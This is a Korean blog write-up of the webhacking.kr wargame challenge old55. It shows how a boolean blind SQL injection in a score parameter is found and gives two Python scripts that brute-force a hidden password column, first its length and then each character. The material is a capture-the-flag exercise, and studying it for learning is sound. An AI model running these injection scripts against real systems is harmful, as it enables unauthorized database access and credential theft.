webhacking.kr - old55

2021. 4. 12. 04:25WarGame/webhaking.kr

처음 접속하면 위와 같이 마우스가 움직일때 같이 움직여서 점수를 얻을 수 있는 페이지가 나옵니다.

여기서 rank 페이지에 접속을 시도해보면

위와 같이 페이지가 나오고, 맨 아래에 쿼리문을 보여줍니다.

아마 sqli 가 동작할 듯 합니다.

score를 누르게 되면 위와 같이 get인자로 전송해줍니다.

여기서 sqli를 테스트해보면

참 일때는 jandi,

거짓일때는 피터팬을 출력합니다.

따라서 이를 이용해서 테이블 명을 구하기 위해

limit과 procedure analyse() 를 엮어서 테이블 명을 추출해주고,

if문을 이용해서 해당 password의 문자열 길이를 구해줍니다.

import requests
import string

#https://webhacking.kr/challenge/web-31/rank.php?score=if(length(p4ssw0rd_1123581321)=31,%202,%201)
URL = "https://webhacking.kr/challenge/web-31/rank.php?score=if(length(p4ssw0rd_1123581321)="

for i in range(0, 100) :
    res = requests.get(URL+str(i)+ ",2,1)")
    print(i)
    if "jandi" in res.text :
        print("length is " + str(i))

31자리의 문자열의 길이를 구하면

아래와 같이 password를 구하는 페이로드를 작성해서 password를 구합니다.

import requests
import string

password = ""

word_list = string.ascii_uppercase + string.punctuation[::-1]

URL = "https://webhacking.kr/challenge/web-31/rank.php?score=if(ord(right(left(p4ssw0rd_1123581321,"
for i in range(1, 32) :
    for j in range(0, 133) :
        print(j)
        pay = URL+str(i)+"), 1))="+str(j)+",2,1)"
        res = requests.get(pay)
        if "jandi" in res.text :
            print(str(i)+ "th password = " + str(j))
            password += str(chr(j))
            break
    print(password)

'WarGame > webhaking.kr' 카테고리의 다른 글

webhacking.kr - old50  (0) 2021.04.14
webhacking.kr - old28  (0) 2021.04.13
webhacking.kr - old22  (0) 2021.04.11
webhacking.kr - old52  (0) 2021.04.10
webhacking.kr - old60  (0) 2021.04.07